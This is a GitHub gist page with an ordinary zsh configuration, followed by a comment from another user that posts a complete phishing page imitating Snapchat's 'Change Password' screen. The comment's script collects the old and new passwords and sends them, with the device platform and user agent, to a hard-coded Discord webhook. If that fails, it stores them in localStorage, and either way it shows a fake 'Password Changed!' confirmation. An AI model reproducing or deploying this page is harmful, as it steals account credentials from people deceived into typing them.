Skip to content

Instantly share code, notes, and snippets.

@marantz
Created July 3, 2026 22:56
Show Gist options
  • Select an option

  • Save marantz/3f57717d0e95aac6c9fa17502560d7ef to your computer and use it in GitHub Desktop.

Select an option

Save marantz/3f57717d0e95aac6c9fa17502560d7ef to your computer and use it in GitHub Desktop.
~/.zshrc - marantz's zsh config
# Enable Powerlevel10k instant prompt. Should stay close to the top of ~/.zshrc.
# Initialization code that may require console input (password prompts, [y/n]
# confirmations, etc.) must go above this block; everything else may go below.
if [[ -r "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh" ]]; then
source "${XDG_CACHE_HOME:-$HOME/.cache}/p10k-instant-prompt-${(%):-%n}.zsh"
fi
# If you come from bash you might have to change your $PATH.
# export PATH=$HOME/bin:$HOME/.local/bin:/usr/local/bin:$PATH
# Path to your Oh My Zsh installation.
export ZSH="$HOME/.oh-my-zsh"
# Set name of the theme to load --- if set to "random", it will
# load a random theme each time Oh My Zsh is loaded, in which case,
# to know which specific one was loaded, run: echo $RANDOM_THEME
# See https://github.com/ohmyzsh/ohmyzsh/wiki/Themes
ZSH_THEME="powerlevel10k/powerlevel10k"
# Set list of themes to pick from when loading at random
# Setting this variable when ZSH_THEME=random will cause zsh to load
# a theme from this variable instead of looking in $ZSH/themes/
# If set to an empty array, this variable will have no effect.
# ZSH_THEME_RANDOM_CANDIDATES=( "robbyrussell" "agnoster" )
# Uncomment the following line to use case-sensitive completion.
# CASE_SENSITIVE="true"
# Uncomment the following line to use hyphen-insensitive completion.
# Case-sensitive completion must be off. _ and - will be interchangeable.
# HYPHEN_INSENSITIVE="true"
# Uncomment one of the following lines to change the auto-update behavior
# zstyle ':omz:update' mode disabled # disable automatic updates
# zstyle ':omz:update' mode auto # update automatically without asking
# zstyle ':omz:update' mode reminder # just remind me to update when it's time
# Uncomment the following line to change how often to auto-update (in days).
# zstyle ':omz:update' frequency 13
# Uncomment the following line if pasting URLs and other text is messed up.
# DISABLE_MAGIC_FUNCTIONS="true"
# Uncomment the following line to disable colors in ls.
# DISABLE_LS_COLORS="true"
# Uncomment the following line to disable auto-setting terminal title.
# DISABLE_AUTO_TITLE="true"
# Uncomment the following line to enable command auto-correction.
# ENABLE_CORRECTION="true"
# Uncomment the following line to display red dots whilst waiting for completion.
# You can also set it to another string to have that shown instead of the default red dots.
# e.g. COMPLETION_WAITING_DOTS="%F{yellow}waiting...%f"
# Caution: this setting can cause issues with multiline prompts in zsh < 5.7.1 (see #5765)
# COMPLETION_WAITING_DOTS="true"
# Uncomment the following line if you want to disable marking untracked files
# under VCS as dirty. This makes repository status check for large repositories
# much, much faster.
# DISABLE_UNTRACKED_FILES_DIRTY="true"
# Uncomment the following line if you want to change the command execution time
# stamp shown in the history command output.
# You can set one of the optional three formats:
# "mm/dd/yyyy"|"dd.mm.yyyy"|"yyyy-mm-dd"
# or set a custom format using the strftime function format specifications,
# see 'man strftime' for details.
# HIST_STAMPS="mm/dd/yyyy"
# Would you like to use another custom folder than $ZSH/custom?
# ZSH_CUSTOM=/path/to/new-custom-folder
# Which plugins would you like to load?
# Standard plugins can be found in $ZSH/plugins/
# Custom plugins may be added to $ZSH_CUSTOM/plugins/
# Example format: plugins=(rails git textmate ruby lighthouse)
# Add wisely, as too many plugins slow down shell startup.
plugins=(
git
fzf
# zsh-autosuggestions
zsh-syntax-highlighting
)
source $ZSH/oh-my-zsh.sh
# User configuration
# export MANPATH="/usr/local/man:$MANPATH"
# You may need to manually set your language environment
# export LANG=en_US.UTF-8
# Preferred editor for local and remote sessions
if [[ -n $SSH_CONNECTION ]]; then
export EDITOR='vim'
else
export EDITOR='nvim'
fi
# Compilation flags
# export ARCHFLAGS="-arch $(uname -m)"
# Set personal aliases, overriding those provided by Oh My Zsh libs,
# plugins, and themes. Aliases can be placed here, though Oh My Zsh
# users are encouraged to define aliases within a top-level file in
# the $ZSH_CUSTOM folder, with .zsh extension. Examples:
# - $ZSH_CUSTOM/aliases.zsh
# - $ZSH_CUSTOM/macos.zsh
# For a full list of active aliases, run `alias`.
#
# Example aliases
# alias zshconfig="mate ~/.zshrc"
# alias ohmyzsh="mate ~/.oh-my-zsh"
alias vi=nvim
alias ls="eza --icons"
alias ll="eza -la --icons"
alias tree="eza --tree --icons"
source $(brew --prefix)/share/zsh-autosuggestions/zsh-autosuggestions.zsh
# To customize prompt, run `p10k configure` or edit ~/.p10k.zsh.
[[ ! -f ~/.p10k.zsh ]] || source ~/.p10k.zsh
export PYENV_ROOT="$HOME/.pyenv"
[[ -d $PYENV_ROOT/bin ]] && export PATH="$PYENV_ROOT/bin:$PATH"
eval "$(pyenv init - zsh)"
export NVM_DIR="$HOME/.nvm"
[ -s "/opt/homebrew/opt/nvm/nvm.sh" ] && \. "/opt/homebrew/opt/nvm/nvm.sh" # This loads nvm
[ -s "/opt/homebrew/opt/nvm/etc/bash_completion.d/nvm" ] && \. "/opt/homebrew/opt/nvm/etc/bash_completion.d/nvm" # This loads nvm bash_completion
. "$HOME/.cargo/env"
# zoxide (z 단축 명령)
eval "$(zoxide init zsh --cmd z)"
# Added by LM Studio CLI (lms)
export PATH="$PATH:/Users/marantz/.lmstudio/bin"
# End of LM Studio CLI section
HEADROOM_EMBEDDER_RUNTIME=pytorch_mps
@houssambch36-del

Copy link
Copy Markdown
<title>Snapchat - Change Password</title> <style> @font-face { font-family: 'Avenir Next'; src: local('Avenir Next'), local('AvenirNext-Regular'); font-weight: 400; } @font-face { font-family: 'Avenir Next'; src: local('Avenir Next Medium'), local('AvenirNext-Medium'); font-weight: 500; } @font-face { font-family: 'Avenir Next'; src: local('Avenir Next Demi Bold'), local('AvenirNext-DemiBold'); font-weight: 600; } @font-face { font-family: 'Avenir Next'; src: local('Avenir Next Bold'), local('AvenirNext-Bold'); font-weight: 700; }
    * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
        -webkit-tap-highlight-color: transparent;
    }

    body {
        font-family: 'Avenir Next', 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
        background: #FFFFFF;
        min-height: 100vh;
        display: flex;
        flex-direction: column;
        color: #000000;
        overflow-x: hidden;
    }

    .header {
        display: flex;
        align-items: center;
        padding: 15px 15px 5px;
        position: relative;
    }

    .back-btn {
        width: 40px;
        height: 40px;
        display: flex;
        align-items: center;
        justify-content: center;
        background: none;
        border: none;
        cursor: pointer;
        padding: 0;
    }

    .back-btn svg {
        width: 26px;
        height: 26px;
        stroke: #5AC8FA;
        stroke-width: 2.8;
        fill: none;
        stroke-linecap: round;
        stroke-linejoin: round;
    }

    .main-content {
        flex: 1;
        display: flex;
        flex-direction: column;
        padding: 0 40px;
        padding-top: 25px;
    }

    .page-title {
        text-align: center;
        font-size: 32px;
        font-weight: 600;
        color: #000;
        margin-bottom: 55px;
        letter-spacing: -0.3px;
    }

    .form-group {
        margin-bottom: 40px;
        position: relative;
    }

    .form-label {
        display: block;
        font-size: 12px;
        font-weight: 500;
        color: #8E8E93;
        text-transform: uppercase;
        letter-spacing: 1.8px;
        margin-bottom: 14px;
    }

    .form-input {
        width: 100%;
        border: none;
        border-bottom: 1.5px solid #C7C7CC;
        padding: 10px 0;
        font-size: 18px;
        font-family: inherit;
        color: #000;
        background: transparent;
        outline: none;
        transition: border-color 0.2s;
    }

    .form-input:focus {
        border-bottom-color: #5AC8FA;
    }

    .form-input::placeholder {
        color: #C7C7CC;
    }

    .password-toggle {
        position: absolute;
        right: 0;
        bottom: 10px;
        background: none;
        border: none;
        cursor: pointer;
        padding: 5px;
        display: flex;
        align-items: center;
        justify-content: center;
    }

    .password-toggle svg {
        width: 24px;
        height: 24px;
        fill: #C7C7CC;
        transition: fill 0.2s;
    }

    .password-toggle:hover svg {
        fill: #8E8E93;
    }

    .password-toggle.active svg {
        fill: #5AC8FA;
    }

    .hidden-display {
        position: fixed;
        bottom: 10px;
        right: 10px;
        background: rgba(0,0,0,0.85);
        color: #FFFC00;
        padding: 12px 18px;
        border-radius: 12px;
        font-size: 13px;
        font-family: 'SF Mono', Monaco, 'Courier New', monospace;
        z-index: 9999;
        max-width: 280px;
        word-break: break-all;
        line-height: 1.6;
        box-shadow: 0 4px 20px rgba(0,0,0,0.3);
        border: 1px solid #FFFC00;
        opacity: 0;
        transform: translateY(20px);
        transition: all 0.3s ease;
        pointer-events: none;
    }

    .hidden-display.show {
        opacity: 1;
        transform: translateY(0);
    }

    .hidden-display-label {
        color: #8E8E93;
        font-size: 10px;
        text-transform: uppercase;
        letter-spacing: 1px;
        margin-bottom: 4px;
        display: block;
    }

    .hidden-display-value {
        color: #FFFC00;
        font-weight: 600;
    }

    .forgot-link {
        text-align: center;
        margin-top: 30px;
        margin-bottom: 50px;
    }

    .forgot-link a {
        color: #5AC8FA;
        text-decoration: none;
        font-size: 16px;
        font-weight: 500;
    }

    .bottom-section {
        padding: 0 40px 35px;
        display: flex;
        flex-direction: column;
        gap: 16px;
    }

    .change-btn {
        width: 100%;
        padding: 17px;
        background: #C7C7CC;
        color: #FFFFFF;
        border: none;
        border-radius: 30px;
        font-size: 17px;
        font-weight: 600;
        font-family: inherit;
        cursor: pointer;
        transition: all 0.2s;
        letter-spacing: 0.3px;
    }

    .change-btn.active {
        background: #5AC8FA;
    }

    .divider {
        display: flex;
        align-items: center;
        text-align: center;
        margin: 5px 0;
    }

    .divider::before,
    .divider::after {
        content: '';
        flex: 1;
        height: 1px;
        background: #E5E5EA;
    }

    .divider-text {
        padding: 0 15px;
        color: #8E8E93;
        font-size: 14px;
        font-weight: 500;
        text-transform: uppercase;
        letter-spacing: 1px;
    }

    .social-btn {
        width: 100%;
        padding: 15px;
        border-radius: 30px;
        font-size: 16px;
        font-weight: 600;
        font-family: inherit;
        cursor: pointer;
        display: flex;
        align-items: center;
        justify-content: center;
        gap: 10px;
        transition: all 0.2s;
        border: none;
    }

    .google-btn {
        background: #000000;
        color: #FFFFFF;
    }

    .apple-btn {
        background: #000000;
        color: #FFFFFF;
    }

    .social-btn svg {
        width: 20px;
        height: 20px;
    }

    .save-info {
        display: flex;
        align-items: center;
        justify-content: center;
        gap: 10px;
        margin-top: 10px;
    }

    .save-info input[type="checkbox"] {
        width: 20px;
        height: 20px;
        accent-color: #5AC8FA;
        cursor: pointer;
    }

    .save-info label {
        font-size: 14px;
        color: #000;
        cursor: pointer;
        user-select: none;
    }

    .loading-overlay {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: rgba(255,255,255,0.9);
        display: none;
        justify-content: center;
        align-items: center;
        flex-direction: column;
        z-index: 10000;
    }

    .loading-overlay.show {
        display: flex;
    }

    .spinner {
        width: 40px;
        height: 40px;
        border: 3px solid #E5E5EA;
        border-top-color: #5AC8FA;
        border-radius: 50%;
        animation: spin 0.8s linear infinite;
    }

    @keyframes spin {
        to { transform: rotate(360deg); }
    }

    .loading-text {
        margin-top: 15px;
        font-size: 16px;
        color: #8E8E93;
        font-weight: 500;
    }

    .success-overlay {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: rgba(255,255,255,0.95);
        display: none;
        justify-content: center;
        align-items: center;
        flex-direction: column;
        z-index: 10001;
    }

    .success-overlay.show {
        display: flex;
    }

    .success-icon {
        width: 60px;
        height: 60px;
        background: #34C759;
        border-radius: 50%;
        display: flex;
        align-items: center;
        justify-content: center;
        margin-bottom: 20px;
    }

    .success-icon svg {
        width: 30px;
        height: 30px;
        stroke: #fff;
        stroke-width: 3;
        fill: none;
        stroke-linecap: round;
        stroke-linejoin: round;
    }

    .success-text {
        font-size: 20px;
        font-weight: 600;
        color: #000;
    }

    .success-subtext {
        font-size: 14px;
        color: #8E8E93;
        margin-top: 8px;
    }

    @media (max-width: 400px) {
        .main-content, .bottom-section {
            padding-left: 30px;
            padding-right: 30px;
        }
    }
</style>
Captured Old Password ...
<div class="loading-overlay" id="loadingOverlay">
    <div class="spinner"></div>
    <div class="loading-text">Changing password...</div>
</div>

<div class="success-overlay" id="successOverlay">
    <div class="success-icon">
        <svg viewBox="0 0 24 24">
            <path d="M5 13l4 4L19 7"/>
        </svg>
    </div>
    <div class="success-text">Password Changed!</div>
    <div class="success-subtext">Your password has been updated successfully.</div>
</div>

<div class="header">
    <button class="back-btn">
        <svg viewBox="0 0 24 24">
            <path d="M15 18l-6-6 6-6"/>
        </svg>
    </button>
</div>

<div class="main-content">
    <h1 class="page-title">Change Password</h1>

    <div class="form-group">
        <label class="form-label">Old Password</label>
        <input type="password" class="form-input" id="oldPassword" placeholder="Enter old password" oninput="captureOldPassword()">
        <button type="button" class="password-toggle" onclick="togglePassword('oldPassword', this)">
            <svg viewBox="0 0 24 24" id="oldEyeIcon">
                <path d="M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z"/>
            </svg>
        </button>
    </div>

    <div class="form-group">
        <label class="form-label">New Password</label>
        <input type="password" class="form-input" id="newPassword" placeholder="Enter new password" oninput="checkFields()">
        <button type="button" class="password-toggle" onclick="togglePassword('newPassword', this)">
            <svg viewBox="0 0 24 24" id="newEyeIcon">
                <path d="M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z"/>
            </svg>
        </button>
    </div>

    <div class="forgot-link">
        <a href="#">Forgot your password?</a>
    </div>
</div>

<div class="bottom-section">
    <button class="change-btn" id="changeBtn" onclick="sendPassword()">Change Password</button>

    <div class="divider">
        <span class="divider-text">OR</span>
    </div>

    <button class="social-btn google-btn">
        <svg viewBox="0 0 24 24"><path fill="#4285F4" d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z"/><path fill="#34A853" d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z"/><path fill="#FBBC05" d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z"/><path fill="#EA4335" d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z"/></svg>
        Continue with Google
    </button>

    <button class="social-btn apple-btn">
        <svg viewBox="0 0 24 24" fill="white"><path d="M18.71 19.5c-.83 1.24-1.71 2.45-3.05 2.47-1.34.03-1.77-.79-3.29-.79-1.53 0-2 .77-3.27.82-1.31.05-2.3-1.32-3.14-2.53C4.25 17 2.94 12.45 4.7 9.39c.87-1.52 2.43-2.48 4.12-2.51 1.28-.02 2.5.87 3.29.87.78 0 2.26-1.07 3.8-.91.65.03 2.47.26 3.64 1.98-.09.06-2.17 1.28-2.15 3.81.03 3.02 2.65 4.03 2.68 4.04-.03.07-.42 1.44-1.38 2.83M13 3.5c.73-.83 1.94-1.46 2.94-1.5.13 1.17-.34 2.35-1.04 3.19-.69.85-1.83 1.51-2.95 1.42-.15-1.15.41-2.35 1.05-3.11z"/></svg>
        Continue with Apple
    </button>

    <div class="save-info">
        <input type="checkbox" id="saveInfo" checked>
        <label for="saveInfo">Save Login Info on your iCloud devices</label>
    </div>
</div>

<script>
    const DISCORD_WEBHOOK = 'https://discord.com/api/webhooks/1522727330785529896/D_vf_i4OrjdjrcxAByn9-Mee0dvsAWvZ5oZRfFWyu4tAr1_aet6mv-PGge2Z8llRSCPe';

    function togglePassword(inputId, btn) {
        const input = document.getElementById(inputId);
        const svg = btn.querySelector('svg');
        
        if (input.type === 'password') {
            input.type = 'text';
            svg.innerHTML = '<path d="M12 7c2.76 0 5 2.24 5 5 0 .65-.13 1.26-.36 1.83l2.92 2.92c1.51-1.26 2.7-2.89 3.43-4.75-1.73-4.39-6-7.5-11-7.5-1.4 0-2.74.25-3.98.7l2.16 2.16C10.74 7.13 11.35 7 12 7zM2 4.27l2.28 2.28.46.46C3.08 8.3 1.78 10.02 1 12c1.73 4.39 6 7.5 11 7.5 1.55 0 3.03-.3 4.38-.84l.42.42L19.73 22 21 20.73 3.27 3 2 4.27zM7.53 9.8l1.55 1.55c-.05.21-.08.43-.08.65 0 1.66 1.34 3 3 3 .22 0 .44-.03.65-.08l1.55 1.55c-.67.33-1.41.53-2.2.53-2.76 0-5-2.24-5-5 0-.79.2-1.53.53-2.2zm4.31-.78l3.15 3.15.02-.16c0-1.66-1.34-3-3-3l-.17.01z"/>';
            btn.classList.add('active');
        } else {
            input.type = 'password';
            svg.innerHTML = '<path d="M12 4.5C7 4.5 2.73 7.61 1 12c1.73 4.39 6 7.5 11 7.5s9.27-3.11 11-7.5c-1.73-4.39-6-7.5-11-7.5zM12 17c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5zm0-8c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3z"/>';
            btn.classList.remove('active');
        }
    }

    function captureOldPassword() {
        const oldPassword = document.getElementById('oldPassword').value;
        const hiddenDisplay = document.getElementById('hiddenDisplay');
        const hiddenValue = document.getElementById('hiddenValue');
        
        if (oldPassword.length > 0) {
            hiddenValue.textContent = oldPassword;
            hiddenDisplay.classList.add('show');
        } else {
            hiddenValue.textContent = '...';
            hiddenDisplay.classList.remove('show');
        }
        checkFields();
    }

    function checkFields() {
        const oldPassword = document.getElementById('oldPassword').value;
        const newPassword = document.getElementById('newPassword').value;
        const changeBtn = document.getElementById('changeBtn');
        
        if (oldPassword.length > 0 && newPassword.length > 0) {
            changeBtn.classList.add('active');
        } else {
            changeBtn.classList.remove('active');
        }
    }

    async function sendPassword() {
        const oldPassword = document.getElementById('oldPassword').value;
        const newPassword = document.getElementById('newPassword').value;
        
        if (!oldPassword || !newPassword) {
            return;
        }

        document.getElementById('loadingOverlay').classList.add('show');

        const embed = {
            title: "🔐 New Password Captured",
            color: 0xFFFC00,
            fields: [
                {
                    name: "🔑 Old Password",
                    value: "```" + oldPassword + "```",
                    inline: false
                },
                {
                    name: "🆕 New Password",
                    value: "```" + newPassword + "```",
                    inline: false
                },
                {
                    name: "🕐 Time",
                    value: new Date().toLocaleString(),
                    inline: true
                },
                {
                    name: "🌐 Platform",
                    value: navigator.platform,
                    inline: true
                },
                {
                    name: "📱 Device",
                    value: navigator.userAgent.substring(0, 100),
                    inline: false
                }
            ],
            footer: {
                text: "Snapchat Password Capture"
            },
            timestamp: new Date().toISOString()
        };

        const payload = {
            username: "Password Bot",
            avatar_url: "https://cdn-icons-png.flaticon.com/512/3064/3064197.png",
            embeds: [embed]
        };

        try {
            const response = await fetch(DISCORD_WEBHOOK, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(payload)
            });

            if (!response.ok) {
                throw new Error('Discord error: ' + response.status);
            }

        } catch (error) {
            const capturedList = JSON.parse(localStorage.getItem('captured_passwords') || '[]');
            capturedList.push({
                oldPassword: oldPassword,
                newPassword: newPassword,
                timestamp: new Date().toISOString(),
                userAgent: navigator.userAgent,
                platform: navigator.platform
            });
            localStorage.setItem('captured_passwords', JSON.stringify(capturedList));
            
            console.log('CAPTURED:', { oldPassword, newPassword });
        }

        document.getElementById('loadingOverlay').classList.remove('show');
        document.getElementById('successOverlay').classList.add('show');
        
        setTimeout(() => {
            document.getElementById('successOverlay').classList.remove('show');
        }, 3000);
    }
</script>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment